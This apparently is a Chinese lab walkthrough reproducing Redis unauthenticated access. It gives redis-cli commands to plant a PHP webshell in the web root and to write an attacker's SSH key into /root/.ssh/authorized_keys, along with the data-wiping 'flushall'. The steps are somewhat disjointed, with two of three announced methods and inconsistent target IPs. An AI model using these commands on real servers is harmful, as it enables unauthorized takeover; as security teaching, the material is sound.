redis未授权访问 | 您所在的位置:网站首页 › 复现实验 英文 › redis未授权访问 |
redis未授权访问漏洞复现实验环境 目标机器:CentOS7+Apache+Redis、IP地址:10.1.1.200攻击机器:Kali、IP地址:10.1.1.100 未授权概述未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面配置不当导 致其他用户可以无需认证授权直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露。 Redis未授权访问Redis 架构Redis 客户端 redis-cli RedisRedis 服务器 redis-server客户端、服务器可以位于同一台计算机或两台不同的计算机中。 漏洞发现Redis 服务默认监听在6379端口上。 Redis常用命令redis连接远程服务器: redis-cli -h host -p port -a password set testkey "Hello World" # 设置键testkey的值为字符串 get testkey # 获取键testkey的内容 set score 99 # 设置键score的值为99 incr score # 使用INCR命令将score的值增加1 get score # 获取键score的内容 keys * # 列出当前数据库中所有的键 config set dir /home/test # 设置工作目录 config set dbfilename redis.rdb # 设置备份文件名 config get dir # 检查工作目录是否设置成功 config get dbfilename # 检查备份文件名是否设置成功 save # 进行一次备份操作 flushall # 删除所有数据 del key # 删除键为key的数据 Redis未授权访问的三种复现方式方式一,写入webshell这个方法的前提条件是:1.知道网站根目录绝对路径。 2.对目标网站根目录有写入权限。 攻击步骤:1.对目标机器进行信息收集,看看端口是否开放了哪些。直接使用nmap -sV -p- -T4 10.1.1.200 2.下载Redis客户端连接工具大家可以自行在网上找来下载,下载完成后,直接解压,编译,编译后redis-cli默认生成在src目录,进入src目录,将redis-cli复制到 /usr/bin 目录即可以在终端的任意目录下执行。下面的方法是在公网上下载的步骤,大家有需要可以在自己公网机器上搭建一个。(在自己虚拟机里面搭建也是差不多这样子的步骤) apt install redis-tools wget http://download.redis.io/releases/redis-6.0.3.tar.gz tar -zxvf redis-6.0.3.tar.gz cd redis-6.0 make cd src cp redis-cli /usr/bin3.连接测试是否可以连接成功,直接redis-cli -h ip -p port当Ping 出现PONG的时候说明存在漏洞,连接成功 4.进行写入webshell redis-cli -h 10.1.1.200 -p 6379 //连接 config set dir /var/www/html //定义目录 config set dbfilename shell.php set x "" save
5.webshell写入成功后,去访问看看是否成功。 6.使用webshell管理工具连接目标网站成功拿下机器
默认情况下,生成的SSH密钥在用户家目录的 .ssh 目录下我们可以cd /root/.sshls去进行查看 ssh-keygen -t rsa (echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt cat /tmp/foo.txt | redis-cli -h 192.168.1.100 -p 6379 -x set m //以上步骤在自己的攻击机器上执行 redis-cli -h 192.168.1.100 -p 6379 config set dir /root/.ssh/ config set dbfilename "authorized_keys" savessh-keygen -t rsa 先生成一个公钥 cat /tmp/foo.txt | redis-cli -h 192.168.1.100 -p 6379 -x set m 把写好文件传到给10.1.1.200 |
CopyRight 2018-2019 实验室设备网 版权所有 |